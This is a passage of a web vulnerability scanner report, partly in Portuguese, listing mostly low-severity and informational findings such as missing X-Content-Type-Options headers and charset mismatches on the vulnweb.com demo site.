URL	http://testphp.vulnweb.com
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL	http://testphp.vulnweb.com/AJAX/artists.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/categories.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=1
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=3
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=1

Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=3
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=4
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/styles.css
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/titles.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/artists.php

Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET

Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/favicon.ico
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Flash/add.swf
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/hpp/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/hpp/?pp=12
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Método	GET

Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/images/logo.gif
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/images/remark.gif
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	

Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/login.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/
Método	GET
Ataque	

Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Método	GET
Ataque	
Evidence	

Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/1.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/2.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/3.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
Método	GET
Ataque	
Evidence	

Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	
	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still

Other Info	affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/secured/style.css
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file='%20+%20pict.item(0).firstChild.nodeValue%20+%20'
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg
Método	GET
Ataque	
Evidence	
	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still

Other Info	affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg
Método	GET
Ataque	
Evidence	
Other	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages

Info	away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg&size=160
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client

	or server error responses.
URL	http://testphp.vulnweb.com/style.css
Método	GET
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/infotitle.php
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/AJAX/showxml.php
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
Instances	82
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.
Reference	https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622941(v=vs.85) https://owasp.org/www-community/Security_Headers
CWE Id	693
WASC Id	15
Plugin Id	10021

Informativo	**Authentication Request Identified**
Descrição	The given request has been identified as an authentication request. The 'Other Info' field contains a set of key=value lines which identify any relevant fields. If the request is in a context which has an Authentication Method set to "Auto-Detect" then this rule will change the authentication to match the request identified.
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	upass
Other Info	userParam=uemail userValue=yjRzrvvr passwordParam=upass referer=http://testphp.vulnweb.com/signup.php
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	upass
Other Info	userParam=uemail userValue=ZAP passwordParam=upass referer=http://testphp.vulnweb.com/signup.php
Instances	2
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/auth-req-id/
CWE Id	
WASC Id	
Plugin Id	10111

Informativo	**Divulgação de Informações - Comentários Suspeitos**
Descrição	The response appears to contain suspicious comments which may help an attacker. Note: Matches made within script blocks or files are against the entire content not only comments.

URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	where
Other Info	The following pattern was used: \bWHERE\b and was detected in the element starting with: "<script type="text/javascript"> var httpreq = null; function SetContent(XML) { var items = XML.getElementsByTagName('i", see evidence field for the suspicious comment/snippet.
Instances	1
Solution	Remova todos os comentários que retornam informações que podem ajudar um invasor e corrigir quaisquer problemas subjacentes aos quais eles se referem.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10027

Informativo	**GET for POST**
Descrição	A request that was originally observed as a POST was also accepted as a GET. This issue does not represent a security weakness unto itself, however, it may facilitate simplification of other attacks. For example if the original POST is subject to Cross-Site Scripting (XSS), then this finding may indicate that a simplified (GET based) XSS may also be possible.
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	GET http://testphp.vulnweb.com/cart.php?addcart=7&price=15000 HTTP/1.1
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	GET http://testphp.vulnweb.com/guestbook.php?name=anonymous%20user&submit=add%20message&text=nYiGhDMX HTTP/1.1
Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	GET
Ataque	
Evidence	GET http://testphp.vulnweb.com/search.php?goButton=go&searchFor=GUkWhybq HTTP/1.1
Other Info	
Instances	3
Solution	Ensure that only POST is accepted where POST is expected.
Reference	
CWE Id	16
WASC Id	20
Plugin Id	10058

Informativo	**Modern Web Application**

Descrição	The application appears to be a modern web application. If you need to explore it automatically then the Ajax Spider may well be more effective than the standard one.
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	titles
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	comment on this artist
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	comment on this artist
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	comment on this artist
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	comment on this artist
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	comment on this picture
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	

Evidence	comment on this picture
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET
Ataque	
Evidence	comment on this picture
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	comment on this picture
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
Instances	9
Solution	This is an informational alert and so no changes are required.
Reference	
CWE Id	
WASC Id	
Plugin Id	10109

Informativo	**Má Combinação de Charset (Cabeçalho versus Meta Content-Type Charset)**
Descrição	This check identifies responses where the HTTP Content-Type header declares a charset different from the charset defined by the body of the HTML or XML. When there's a charset mismatch between the HTTP header and content body Web browsers can be forced into an undesirable content-sniffing mode to determine the content's correct character set. An attacker could manipulate content on the page to be interpreted in an encoding of their choice. For example, if an attacker can control content at the beginning of the page, they could inject script using UTF-7 encoded text and manipulate some browsers into interpreting that text.
URL	http://testphp.vulnweb.com
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.

URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-1] não correspondem.
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	
